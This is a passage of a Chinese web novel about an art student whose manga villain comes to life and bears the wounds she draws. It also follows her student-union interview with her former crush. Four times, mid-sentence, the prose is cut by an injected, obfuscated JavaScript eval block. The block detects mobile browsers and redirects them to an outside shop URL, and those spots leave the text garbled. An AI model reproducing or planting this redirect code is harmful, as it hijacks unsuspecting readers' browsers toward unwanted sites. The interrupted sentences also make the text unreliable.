她似乎有一种裴佑哲不回话就赖在这里不走的意思,另外两个学生会成员求助似的回头看向他们的主席,而裴佑哲又扬起他那标志性的微笑,公事公办地对新生说道:“不知道选什么部门的话没关系,等面试的时候,面试官会根据个人能力和长处给各位分派合适的部门。” “佑哲学长……”那个新生还想说什么,但被摊位前的学生会成员拦住了视线。 “学妹,还有什么疑问可以发信息给招聘负责人,今天报名的人有点多,你先请回哈。来下一个。” 听对方这么说,那个学妹没再坚持,悻悻地走了。 盯着那个远去的新生背影,庄森芽不禁想道,不愧是裴佑哲,仅仅是通过新生典礼上演讲那一幕,恐怕已经在大一新生的脑海里留下了不可磨灭的印象,将来又要有一批新的迷弟迷妹成为他的小尾巴了。 “想什么呢?”裴佑哲伸手在庄森芽的眼前晃了晃。 庄森芽回过神来,“在想学长……佑哲,你还是和以前一样啊……无论去哪都是焦点。” 裴佑哲的模样看上去有点开心,虽然他表情是淡淡的,“我在你眼里这么厉害吗。” 当然了。庄森芽在心里嘀咕。 高中那时,学习又好,人长得又帅,几乎就没有人不喜欢他,上了大学,性格似乎比以前还要亲和,大场面也毫不怯场,举手投足都彰显着自信的光芒,但又不那么刺人,毫不夸张地说,他就是像电视剧里那种母仪天下啊不是父仪天下的王侯,一看就是仅凭个人魅力便能收获到许多追随者的那种人。 “总之一个顶礼膜拜。”庄森芽装模作样地给对方抱了个拳。 对方低声笑起来,眉眼都展开了,这回看起来是真的开心,“你的变化倒是很大,头发染白了不说,也比以前健谈了。” “是吗,我变得健谈了?”庄森芽反问着,表现出很意外的样子,但其实裴佑哲说的没什么毛病,她的确比高中那时要开朗一些,曾经多少有一点阴沉,这点自己还是知道的。 “除了学生会以外,还报名其他社团了吗?”裴佑哲问,他似乎一点回到摊位上的打算都没有,仍继续着这场聊天。 “我还报了绘画社。” “你还是很喜欢画画。”裴佑哲盯着他,目光看起来颇有深意。 “啊……嗯。”庄森芽突然有点别扭地回答。 这个话题让那些好不容易沉睡的记忆又苏醒了,她又想起了高中时期的事情。 打赌输掉的那一天,她当众向现在坐在她身边的这个原校草告白,没有被接受,但也没有被拒绝。 高三的裴佑哲向她提出了一个条件,说如果她能画一部以他为主人公的漫画,那么他就接受和她交往。 庄森芽忘记自己当时的心路历程具体是怎么样的了,她只记得自己答应了下来,但那不是因为她喜欢裴佑哲,而是因为在和自己的同班同学赌气。告白之前,那些人信誓旦旦嘲笑她说,裴佑哲连看都不会看她一眼。而为了让那些看不起她的人大吃一惊,她答应了裴佑哲的要求。 但是漫画没画完,裴佑哲就转学走了。那之后他们再次相见,已经是在前不久的新生典礼上。 那个约定深埋在时光的过往,一时没有被任何人提起。 庄森芽不知道对方还记不记得那个约定,不过通过他提及她喜欢画画这点,她觉得对方可能还是有一些模糊的印象。 这就尴尬了。 在庄森芽眼里,那个约定已经不作数了,而她想,在裴佑哲心中这点应该也是一样。 放着不管说不定就过去了,但她总觉得故事必须要有个结尾,一段话也总该有个句号。 加入学生会之后,她想必还会和裴佑哲有很多来往,而那件事情就像一个没有缝好的沙包,每碰一下就会流出点沙子来,沙沙的声音叫人神经都要衰弱。 要不,今天就把话说明了吧。 就以开玩笑的方式提起他们曾经的那个约定,要是裴佑哲不记得的话,那正好;要是他记得的话,他们两人你一句我一句把这件事情揶揄过去,也就彻底翻篇了,她心里也再不会因为这段过往而难堪。 只要她把话开个头,裴佑哲这么聪明,一定会明白她的意思,然后他们就按照套路顺着台阶往下走。 没错,就这么办。 想到这里,庄森芽朝一旁的学生会主席开口,“佑哲,你还记不记得高中的时候——” 她这句话没说完一半,突然,人群中传来了一阵尖叫声,那声音凄厉无比,听得让人汗毛倒立。 “怎么了?!”庄森芽惊讶地问。 一旁的裴佑哲一下子站起来,绕过摊位走了出去。 活动广场上,人群聚集在一起,似乎是把什么人包围了起来,有人大声嚷嚷着什么,庄森芽听到外围的人在喊“快叫救护车”。 是有人受伤了? 庄森芽跟在裴佑哲的身后,也凑到了现场。 “太惨了,全是血!”一个高年级的学长从人群中挤出来,手上全是红色的血迹,似乎是要去找地方洗手。 “散开,散开!歹徒可能还在附近!”有人高声喊着。 这句话一出来,围拢的学生们顿时有了惧意,有一部分人尖叫着跑开了,还有人被感染开始连连后退。 人群慌不择路,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208421|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瞬间场面乱成了一锅粥。 混乱之中,裴佑哲回过身来对庄森芽说:“森芽,你快回宿舍。” 庄森芽点点头,正要往回跑,扫过的目光不经意间落在人群之中的负伤者身上。 然而,就在看到那人的一瞬间,她走不动路了。 那个身影宛若一只受伤的黑鹰一样匍匐在地面,头颅低垂着,有血迹从他的发丝上滴落下来。 两个看起来是高年级的学生围在他的身边,询问着他的情况。 可是那个身影一动不动,像是已经断气了一般。 “学生赶紧回宿舍,锁紧宿舍门,在接到通知之前不要出来活动!”学生会纪检部的人不知何时已经到场,拿着百团大战宣传用的喇叭,开始向活动广场上的学生们喊话。 裴佑哲走到纪检部成员的身边,向对方问道:“看到持械的人了吗?” 纪检部的人回答,“没有,可能藏起来了。” “继续组织让学生撤离。”裴佑哲吩咐说,他一个转身,看到庄森芽还愣在原地,脸色一僵,快步赶过来,拉着她就要走。 然而庄森芽猛地一挣,反而是向那浑身是血的男人跑了过去。 “森芽!”裴佑哲在身后叫他。 她充耳不闻,钻进围聚的人群,来到了那个伤痕累累的人身前。 触目惊心的鲜血使人感觉到恐惧,但她还是压制着惶然的心,在男人面前蹲下来,伸手,小心翼翼拨开浸血的头发,试图看清对方的脸。 手上的触感是黏腻且冰凉的,鲜红的血迹蹭了她满手。 一张眉目紧锁的脸露了出来,庄森芽吓得一屁股坐在了地上。 ……果然是那个和诺特斯长得一模一样的男人。 “救护车还有多久到,他快没有呼吸了。”一旁的学生说。 “已经打电话了,大概还要五分钟吧。”另一个人回答他。 庄森芽鼓起勇气,在地上蹲起来,再一次接近对方,想要看清他的状态。 男人像一尊雕像一样跪在地上,胸膛一点起伏都没有,眉眼是紧闭的,一道伤口从脖颈撕裂到胸膛,看上去像是晚礼服的衣装已经被毁得不成样子。 这套服装……这个伤口……她再熟悉不过。 是她昨天晚上在学生会活动室赶稿所画的内容。 晚礼服的样式、伤口的位置,居然一丝一毫分寸不差。 “这怎么可能……”盯着眼前的男人,庄森芽瞪大了眼睛,不敢置信地小声喃喃道。 她昨晚画完漫画之后并没有在狐尾平台上公布,而是存在了随身携带的硬盘里,也就是说,她是唯一知道诺特斯被主角团重伤这段剧情的人。 可是这个男人却是这副样子出现在学校里,这简直就好像……就好像只要她画什么,他就会变成什么模样。 她不禁因为自己的推断而脸色发白。 难道,这人真的是诺特斯…… 庄森芽无声地抱住了自己的脑袋。 疯了,果然疯了,不是她疯了,而是这个世界疯了。 9. 凶手本人 “森芽。” 一只手搭在她的肩膀上,庄森芽哆嗦了一下,转头看去,发现那是裴佑哲。 他沉声劝道:“走吧,这里很危险。” 庄森芽有些发懵地点点头,正想起身,却听见身前的男人发出了一声痛苦的气音。 “呃……” 她转头看去,只见诺特斯睁开了眼睛,一双金棕色的眼瞳锁定住了她。 庄森芽顿时绷紧了神经。 他还有意识,他…… 还没等她做出什么反应,诺特森又闭上了眼睛,忽然之间,他像倾倒的城墙一样失去所有的力气,砸进了庄森芽的怀里。 “唔啊啊!”庄森芽下意识地把他接住,只觉得浑身都沾上了黏腻冰冷的血液,怀里的身体很重,她有点兜不住。 幸好,这个时候救护车的声音在校园内响了起来。 医生很快来到了现场,他们把诺特斯转移到了担架上,又送进了救护车里。 “他的家属在吗?或者有人认识他吗?”医生朝周围的人问。 学生们面面相觑。这里一个认识伤者的人都没有。 见到这一幕,庄森芽想要走上前去。无论怎么想,认识诺特斯的只有自己。然而没走出去半步,却被身后的裴佑哲抓住了手臂。 他神情严肃地对她说,“别去。” “可是……” “淳义。”裴佑哲呼唤一旁的纪检部成员,“你跟着去一趟,我后面联系校警也过去,等这个人醒了之后问问他袭击他的人的长相。” “好。”纪检部成员应了一声,跟着医生登上救护车一同离开了。 那之后,人们纷纷从案发现场散去,庄森芽也回到了她的宿舍。 她又自闭了,躺在床上假装身体不适。 外面再度晌起了舍友关切的话语。 “森芽她还好吧……?”依然是汪素文首发的关切问询,“辅导员突然叫我们不要离开宿舍,是出了什么事吗?” “听说前不久活动广场上发生了伤人事件,森芽可能亲眼看见了。”石玥诗沉着地说。 一个脚步声靠近她的床铺,挂帘被微微掀开,没看到人,只看到一把零食被抛了上来,然后是那有点假小子性格的莫茹的声音,“诶,别害怕了,吃点东西,睡一觉就过去了。” 石玥诗也走了过来,比宿舍其他人都要年长一岁的她总是很冷静,“没事的,这次校警肯定也很快就能抓到犯人,到时候学校就安全了。” “谢谢你们……”庄森芽对她的舍友们说。 她对她们的关怀十分感激,但内心却感到十分复杂,因为说不定根本没有什么凶手存在,如果说有的话,那很有可能就是她自己。 直到现在,她都不愿相信诺特斯真的从漫画里走了出来,并且出现在了她的身边。可是,直到目前发生的一切都叫她不得不相信。 起初她还可以骗自己对方是幻觉,但是,男人前不久鲜血淋漓地出现在众人面前,活动广场上的所有人都看到了他,这代表他是真实存在的。 这简直没法用常理去解释…… 庄森芽蜷缩身体,抱住了自己的脑袋。 接下来该怎么办,她要把诺特斯的事情告诉别人吗?可如果对方真的是那个大反派的话,恐怕连警察都拿他没有办法。 只要他隐身,别人就抓不住他;而通过无视物理法则的手段,他可以自由地想去哪就去哪。这样的人到底要怎么限制他? 不过……他现在受伤了。 而且身体上似乎是和她昨晚所画的漫画内容一模一样的伤痕。 难道说,自己笔下所画的一切都会反映到这个诺特斯的身上吗? 如果是这样的话,那说不定能限制他的人……只有她自己。 庄森芽翻了个身,脑袋想得都快要爆炸了。 到底为什么会发生这种事情,难道是自己曾经做过什么,才导致诺特斯出现在了这个世界上吗? 思来想去,却无法回想起任何一个相关的细节。 要是让人知道《灵月十四》里的大反派从漫画里走了出来为非作歹,她会不会要负什么连带责任啊?那毕竟是她笔下创造出来的人物。 啊啊……她真的快疯了。 时间一晃来到了黄昏,校园内的戒备依然很严格,校方要求学生们出行必须申请,并且有校警从属人员的监护。 舍友们出去了一趟,买了香喷喷的外卖回来,她们给庄森芽带了一份,告诉她就放在她的桌子上,她饿了的时候就下来吃。 庄森芽再度对她们表示了感激,但她依然没有从床上爬下来的动力,她总觉得,掀开帘子就意味着必须要去面对外面的那个世界了,包括诺特斯还有其他的一些什么,这让她感到有些退缩。 然而,她没能在自己舒适的巢穴里待上多久,一通电话打进了她的手机。 那是一个陌生的号码,庄森芽犹豫了一下,接了起来。 对面是一个男性的声音,听起来年纪不大,“喂,你好,是庄森芽吗?” “是我,你是?”庄森芽问。 “我是吴淳义,下午在活动广场上我们应该见过,我是学生会纪检部的人。” 听他这么介绍自己,庄森芽回想起来了。下午活动广场上发生了那件事后,救护车到来,似乎就是这个纪检部的成员和医生一同去往了医院。 “给你打电话是因为,呃……”对面的人犹豫了一下,继而说道,“我们之前在校内接走的这名外国男子好像一直在喊你的名字。” “在喊……我吗?”庄森芽一愣。 “是,他好像听不懂汉语,也听不懂英文,只是不断模糊地叫一个名字。我从佑哲那里了解过你,所以听出来这个外国男子是在叫你,当时看到你也在现场,心想你可能和他有什么关系,于是就给你打来电话。”对方解释了一遍来龙去脉后问道,“他现在不肯配合治疗,虽然有点唐突,但能请你过来一趟吗?” “呃,我……”庄森芽蹭一下从床上坐了起来,突发情况让她一时反应不过来。 “他现在的情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208422|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不太好,要是情绪稳定不下来的话,医生也没办法展开救治。”对面的纪检部成员说,“拜托你了,我会找部门的人接你安全往返的。” 对方的话都说到了这个份上,庄森芽也没办法再拒绝。 她应了下来,然后终于从她的小窝里爬出来,带上舍友给她买的外卖,和她们说她要出去一趟,而后来到宿舍楼下,等到了纪检部的人接她一同前往了医院。 坐在车上,庄森芽这才得空开始仔细思考起当下的情况。 那个诺特斯在医院叫她的名字……为什么要叫她? 而且纪检部的那个人说他听不懂汉语,也不理解英文,但是怎么可能?前几次诺特斯和她交流都是用汉语。 难道他是装的吗? ……很有这个可能。 折腾这么一番,恐怕就是为了引她过去。 庄森芽紧张地捏紧了拳头。现在她已经知道这大概率是个陷阱了,但还是不得不迈进去。如果她不去主动接触那个诺特斯的话,就根本弄明不白在他身上到底发生了什么。 他究竟为什么会从漫画里走出来,又是谁告诉了他《灵月十四》作者的姓名和身份。如果不去直面对方的话,就永远也搞不清楚这些。 车辆很快抵达了医院,庄森芽根据护士的指示来到了诺特斯所在的一层病房。 还没走进去,她就闻到了一股浓重的血腥味。几个护士站在门外朝里面张望,都是一副想进但不敢进的模样。 一个护士进去通知后,那个给她打电话的纪检部成员吴淳义迎了出来,对庄森芽说:“你来了。跟我进去吧,但是站在门口就好,不要离他太近。” 这种说法,就好像病房里的人是什么穷凶恶极的野兽一般。 里面到底发生了什么?庄森芽不禁想道。 她迈开腿,在吴淳义的带领下往病房中走去。 走过卫生间制造出的一个遮挡视线的拐角后,她看清了整个病房的全貌。 房间开着窗,夕阳的光照射进来,给所有事物都镀上一层橘黄的辉光。房间中央有一张两米宽的大床,上面坐着一个浑身缠着绷带的男人,他屈起双腿,一只手捂着自己的脸,身下的床单上是成片的血,绷带断了好几根,整个人的模样惨不忍睹。一眼望过去,配合着窗外的夕阳,衬得他仿佛是一个地狱爬上来的厉鬼。 看到这个场面的一瞬间,庄森芽甚至忘记了呼吸。 病房另一边的角落里站着一个年迈的医生,他叉着腰,盯着病床上的男人,一脸无可奈何。见到几人进门,医生对他们说:“好几次想给他打麻醉都被他甩掉了,这样下去不过半天他就要流血流死。” 纪检部的吴淳义俯下身来,在庄森芽的耳旁说:“我们需要他告诉我们是谁在学校里持械行凶,所以现在必须维|稳他的生命,你能想办法让他配合治疗吗?” 我?庄森芽简直想指着自己的鼻子问。 为什么觉得她能解决问题?要是她说什么对方就能听的话,那她也不至于在这人面前这么提心吊胆的了。 10. 病房争端 不过既然来了这么一趟,她肯定也是要帮忙想想办法的。于是深吸了一口气,拿出自己十八年来为数不多可怜兮兮的勇气,庄森芽往前走了一步,朝男人说道:“诺,诺特斯……” 就在她张口的一瞬间,男人突然抬起头来,金棕色的眼睛一下子捕获了她,他周身仿佛在蒸腾着黑色的气焰,原本总是戏谑的脸变得面无表情,冷酷得像一尊蛇神石像。 “噫……!”庄森芽吓得后退了两步。 不愧是自己笔下的大反派,连一个眼神都这么吓人! 但对方只是执着地盯着她,没有做什么,更没有开口说话。 庄森芽吞了口口水,心里想着,周围有这么多人呢,谅他也不敢做什么,于是又问道:“你看到是什么人袭击你了吗?” 诺特斯渐渐眯起了眼睛,依然闭口不言,但是那个眼神仿佛在说:那不就是你吗? “不要急着问他太多问题,先让他配合治疗吧。”她身后的吴淳义说,“你知道他是哪国人吗?要是知道他能听懂哪种语言,我们就能顺利交流了,已经试过了阿拉伯语,葡萄牙语,德语,法语,但对方都没什么反应。” 为什么这么自然而然地就觉得她很了解他呀?庄森芽内心欲哭无泪。 不过转念一想,诺特斯一直在叫她的名字,可能在旁人看来他们两个人之间多少有点什么关系吧。 可是庄森芽真的不知道怎么回答吴淳义的问题。她笔下《灵月十四》的故事完全是基于一个架空世界,那里根本就和现实世界的国家没有半点映射关系。 “呃,他……”庄森芽想说这人根本就是装的,他明明听得懂汉语,也会说汉语,现在根本就是在演戏。但是被那人阴狠地注视着,这句话庄森芽根本不敢说出口。 她还想问他伤口的事,但是周围有这么多人,也没法当面询问。 想到这里,庄森芽对医生和纪检部的人说:“让我试试一个人和他聊聊吧。” 房间里的其他人一听,纷纷同意庄森芽的提议,默默离开病房,带上了门。 一时间,房间里只剩下她和对面那个男人了。 庄森芽暂时没有说话,她走到床角,拿起病历本有模有样地看了一番。但她其实没有看那上面的字,而是斟酌着怎么和对方开口。 半晌,却是对方先说话了,“你是故意的吗?” 庄森芽抬起头来,不明所以。“什么?” 男人的神色不善,但似乎是因为伤口的缘故,他的声音有些虚弱,“故意把我画成这副狼狈的模样。” 庄森芽紧张地抿了抿嘴。诺特斯这个说法……看样子果然她笔下画什么就能成真什么。 而且,这不是能好好地说汉语吗?他之前果然是在做戏。 她不着痕迹地把病历本拿到了自己的手里,装作随意的模样转着上面拴住的一支圆珠笔,强行让自己露出一副镇定的面容。 “是呀,我就是想证实一下你是不是真的诺特斯。” 但其实不是,只是剧情刚好推进到了那一步。 对方的表情更加阴森了。 庄森芽感觉自己的背后出了一身冷汗。她安慰自己,对方已经受了重伤,现在动弹不得,对她没有什么威胁。于是转身从窗边搬来一张椅子,坐在那上面,翘起二郎腿来,想展示出自己的从容,“看样子你的生杀大权真的在我手中。” 诺特斯盯着她,以沉默应对。 “如果想结束得痛快点的话,就乖乖回答我接下来的几个问题。”庄森芽说。 “什么问题?”对方沉声问。 “第一,你到底是怎么从漫画里走出来的;第二,是谁告诉你我是《灵月十四》的作者?” 对面的人沉默了一阵子,说道:“第二个问题我已经回答过你了,是一个科学家。你的第一个问题,我也不知道答案。” 他也不知道答案? 意思是他也不知道自己怎么会来到这个世界上吗? 不,不可能。肯定是他又在唬她。一定是因为坦白的话,庄森芽就能够知道怎么反制他,让他回到漫画中去,所以对方才不肯说。 “你不说的话,就别怪我手下不留情了。”庄森芽将病历本在腿上抚平,拿着那支圆珠笔,用笔尖戳着泛黄的纸张。 这时候,男人却突然笑了起来,他的眼神是没有温度的,那个笑容更像是在面临生命威胁时表现出的癫狂,“你这是在威胁我。” “就是这样。”庄森芽挺直腰板,鼓足了劲说。 “你就不怕我对你怎么样吗?” “在你做什么之前,我会先把你画死。”她毫不退让。 两人互相盯着对方,局势仿佛一触即发。 对峙不过一瞬,突然之间,诺特斯猛然掀开了盖在他的身上的被单,一股血腥之气扑面而来。 他拖着那副受伤的身体跳下床,像个凄厉的影子一样直接朝庄森芽所在的位置冲了过来。 庄森芽被这味道弄得一激灵,又被对方的举动吓得顿时汗毛倒立。 她立刻往离她最近的卫生间跑,进去就反锁上了门,一屁股坐在马桶盖子上,慌张到连双手都在颤抖,但她仍然压着笔尖,尝试在病历本上画出诺特斯的轮廓。 几笔下去,这个在她手下已经无比熟悉的人物就成型了。 这时候,外面突然传来砰的一声巨响,像是什么重物砸在了地上。 她惊得停了笔,往卫生间的门看过去。 病房里很安静,很长时间都没有声音传来。 咚咚。不知道什么人敲响了房门。 “怎么了吗?”病房外有人询问。 庄森芽想开口回应,却发现自己被吓得已经有些哑声了。 没有收到回音,病房外的人推门走了进来,紧接着,一声惊呼响起。 “呀,人呢?人怎么都不见了?” 一阵嘈杂的脚步声闯进病房,卫生间的门也被敲响了,“里面有人吗?” 庄森芽清了一下嗓子,回应说:“我在里面。” “伤员呢?”外面的人问。 “……他没在房间里吗?”她说。 “不在。”对方回答。 庄森芽把病历本上画着诺特斯的那页撕了下来,藏进自己的衣服口袋里,这才从卫生间走了出去。 外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208423|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,医生和纪检部的人在看着她,众人都是一脸困惑的模样。 庄森芽也不知道发生了什么,胆战心惊地往床铺的方向看去,却惊讶地发现那里只剩一滩血迹,诺特斯的身影已经哪里都找不到了。 一名护士走到大敞的窗户旁边,朝外面看去,“不会是翻出去了吧……” 主治医生一脸难以理解地叹气,“这人不要命了吗?” 学生会纪检部的吴淳义也走进病房中,朝庄森芽问:“你看到他去哪了吗?” 庄森芽迟缓地摇了摇头。男人消失了,她不知道为什么。 刚才诺特斯跳下病床朝她冲过来的那恐怖一幕还残留在脑海里,使她心有余悸。 如果再跑得慢一点,可能小命已经没了。 要不是她逃进了卫生间里,锁紧了门…… 等等,那一扇门真的能拦住诺特斯吗?他可是当着她的面展示过他穿透墙壁的本领。 难道是因为负伤,所以他没有办法施展全部的实力了? “报警吧,他伤成那个样子还四处乱跑,阎王都不认识这老外,他自己赶着往人家眼前跳。”年迈的主治医生留下这么一句话,身影消失在了病房。 庄森芽也跟着纪检部的人离开了医院,诺特斯已经不见了踪影,医院也没有他们什么事了。 回到了宿舍,和舍友说了两句话,庄森芽本以为会因为白天发生的事情而再度失眠,但没想到过度思考之后,精神疲惫不已,竟然倒在床上两眼一闭就睡了过去。 她做了场噩梦,梦里诺特斯把她的心给掏了,没错,物理层面上的掏空了,她低头就能看到自己的胸口有一个血窟窿,诺特斯抓着她还在砰砰跳的心脏,笑得十分诡谲。 惊醒的时候,她出了一身冷汗,对男人的恐惧还残留在身体里。在这个清早,那种深入骨髓的惧怕心理达到了顶峰。 必须得好好想想对策了,不能再这样让那个邪恶的异端份子自由活动,不然她自己哪天怎么死的都不知道。 庄森芽开始铺陈她缜密的计划。 现在已经得知她笔下所画的一切都可以一五一十地反馈到诺特斯的身体上,也就是说,如果她把对方一直画成负伤的状态,让他在剧情里维持这个状态不变,那么这个男人就会失去行动能力。 就算他有那种BUG级别的能力,肉身被破坏了,也是弱鸡一个。 想到这里,她渐渐冷静了下来,对诺特斯的恐惧心理也不再那么强烈了。 怎么想,她都掌握着制约对方的手段,没必要怕的。 不过,她暂时还不能把他画死,漫画的剧情还没有到那一步。既然已经确认了对方的生死掌握在自己手上,并且她可以控制他的行动能力,那么节奏都掌握在她的手里,她没必要着急。 思绪至此,庄森芽决定今天晚上去活动室把诺特斯的状态画得更狼狈一些。 她胜券在握。 作者怎么可能控制不住自己笔下的人物? 这说出来都让人感觉是笑话。她当然能控制住他,她就是《灵月十四》那个世界的创世神,一个小小的最终Boss而已,又怎能逃得过她的笔尖。 11. 我?走后门? 今天是百团大战的第三天,从宿舍的窗户望出去,活动广场上的摊位比前两天减少了一些,但依然很热闹。 昨天发生的流血事件似乎没有影响到今天的摆摊,校警并没有在监控录像中发现可疑人物,所以戒严只持续了一晚,学生们又可以自由活动了。 一些比较大型的社团已经展开了面试,学生会也不例外。庄森芽的手机在昨天晚上就已经收到了面试邀请,只不过她睡了过去,第二天早上才看到。 而当她看到面试消息的时候,距离开始的时间已经不远了。面试邀请信息上强调让参与面试的学生准备好中英文两版介绍,然而庄森芽发现自己根本没有准备的时间,只能硬着头皮上。 在规定时间来到了面试地点所在的活动大楼,依然是那栋举办过新生典礼的欧式建筑,它除了一层的宽阔场地外,各层还有许多专门为各个社团准备的大小不一的活动室。 她来到三层,看到面试房间外面的座位上已经有一排人在等待了。所有来面试的新生都是一副紧张兮兮的模样,弄得她也有些紧绷了起来。 面试房间的门打开,一个新生从里面走了出来,手里拿着一张红色的卡片,他的表情是沮丧的。 在他后面,下一个面试者走了进去,然后大约十几分钟之后出来了,手里拿着一张黄色的卡片,脸上的表情是喜悦的。 庄森芽看明白了,黄色的卡片代表着面试通过,而红色的则不然。 她在外面那一排椅子上坐下,等待场外负责统计的学生会成员通知自己进去面试。 陆陆续续进出了几个新生之后,终于轮到她了。 “庄森芽在吗?”统计人员的学生会成员问。 “在的。”她站起来,然后在对方的示意下走进了面试场地。 这是一个空旷的屋子,里面摆着一条长桌,桌子后面坐着五个面试官,除此以外,这间房间里几乎什么都没有,似乎是为了面试而临时清理出来的。 到了这一刻,庄森芽才开始真正紧张起来。她什么都没准备,这下怎么办,难道要现场即兴演说吗?这可不是他的强项,用中文说倒还好,但是要用英文的话,她只会纯纯变成一个小丑,当场给面试官们表演一个新时代大学生猴戏。 庄森芽立定在五位面试官的面前,一种被众人围观的压力加之毫无准备的心虚,让她一时不敢把头抬起来。 “准备自我介绍了吗?”一个声音问她。 庄森芽眨眨眼睛,感觉这个声音很熟悉。她抬起头来,目光落在坐在最中间的面试官身上。对方单手捏着一张薄薄的纸,惬意地靠在椅背上,没有一点面试场合下该有的严肃。 那是裴佑哲。 盯着对方,庄森芽不禁有些惊讶。她还有闲心地想道,学生会的工作是不是不饱和?怎么学生会主席连新成员初面这种小场合都要亲自到场。 裴佑哲问她有没有准备自我介绍,答案当然是没有。在这个人面前,她并不想说谎,在他面前说谎就仿佛当着一个代表光明的使徒的面做些见不得人的小动作,感觉会失去一些人类的美好品质。 于是乎庄森芽诚实回答说:“没有,没准备。” “嗯……”对方沉吟了一声,“学生会了解过吗” “也没有。” 场面一度有些尴尬。自己是不是要被轰出去了?庄森芽心想。 对面,裴佑哲放下了他手里那张纸,双手交握撑在桌面上,正视着庄森芽,以平缓的语气说:“学生会在传统意义上主要是负责完成校方和老师下达的指标任务,但在上茂哈里森大学,情况不太一样,这里的大部分活动都是由学生自发主导。学生会有八个部门……” 对面的人侃侃而谈,庄森芽一时有些不在状态。裴佑哲这是在给她介绍学生会的职能?面试过程正常情况下有这个环节吗? “……各司其职。森芽,你比较倾向做后勤,还是组织活动?” 裴佑哲再度向她提出了一个问题,然而这个问题庄森芽也从来没有思考过。她只是听说加入学生会做活动能涨学分,于是就来了。 “我都行。”她说。 “没有意愿的话……”裴佑哲的视线下坠,落在桌面上的纸张上。 “加入外联部呗?”这时候,另一个声音插话进来。 庄森芽向发声者的方向看去,这才发觉面试官里还有一个自己认识的人,是那个百团大战第一天学生会摊位上的浅黄色头发男生,就是他把自己的工作交给了庄森芽,让她第二天来学生会摊位坐镇,她记得对方的名字叫费洛。 当下,森庄芽这才打量了一番五名面试官。 费洛坐在最左手边,他和裴佑哲中间隔着一个面无表情的齐刘海女生,主席坐在最中间,而他右侧坐着另外的一男一女,其中,女生留着一头干净利落的短发,靠在椅背上,闭着眼睛仿佛在打瞌睡;男生看起来长得有点中性,甚至可以说有点漂亮,此刻他正专注地盯着庄森芽。 “外联部的确是个不错的选择,”裴佑哲说,“工作范围不只局限于校园内部,社交领域会很广泛,对于新生来说的确是一个难能可贵的磨练机会……” 浅黄发的费洛大大咧咧地插话,“干嘛说得这么弯弯绕绕的,今天把段姐、月哥和我都叫过来了,不就是想让她加入唔唔唔——” 费洛身边那个没有表情的齐刘海女生捂住了他的嘴,她连声线都没什么起伏,“不知道该说什么的话可以不说。” 裴佑哲朝庄森芽颇为正式地问:“你想加入外联部吗?” 既然对方给出了一个选项,对学生会和其下部门依然没什么概念的庄森芽当即顺着这个台阶下,“我可以。” “那就这么定了。”裴佑哲垂眼在表单上写了些什么,然后从手旁的纸盒里抽出一张黄色的卡片,两指夹住朝庄森芽递出去,“后面会有人带你熟悉外联部的日常事务。” “啊,二面三面和考核全都跳了?”一旁,费洛从冷面女的手魔爪下挣脱出来,面色惊讶。 那个面无表情的女生像机器人一样盯着费洛,对他道:“你不说话也没人当你不存在。” 费洛似乎没有听出对方的冷嘲热讽,探头冲主席说:“我去年可是面了五轮,又考核了两个月啊?” 这时候,另一边那个闭眼小憩的短发女生说:“那还不是因为你除了脸和穿搭以外一无是处。” “呃。”费洛被噎了一下,模样变得像蔫巴巴的垂杨柳,“也没必要这么说我吧,段姐……” “理论上,森芽还是要参与考核。”中间的裴佑哲说,“但我一周之后要带队‘雏鸟周’,接下来要去做准备,暂时没有时间处理考核的事情。” 学生会主席晃了晃手里的黄色卡片,那意思是催促庄森芽过来取走,“所以,森芽,你先入会,考核的事后面再说吧。” 庄森芽走上前去,从裴佑哲手里取走了那张黄色卡片,指尖短暂地接触,裴佑哲的目光一瞬间落在两人相交的手上,但是庄森芽却完全没有留意,因为她当下内心全 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14208424|151057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是复杂的心理戏。 原来这就是被开后门的感觉……居然这样就通过了,她总共说了不到二十个字,比面试官的话都少,不知道的还以为她是来反向面试面试官的。 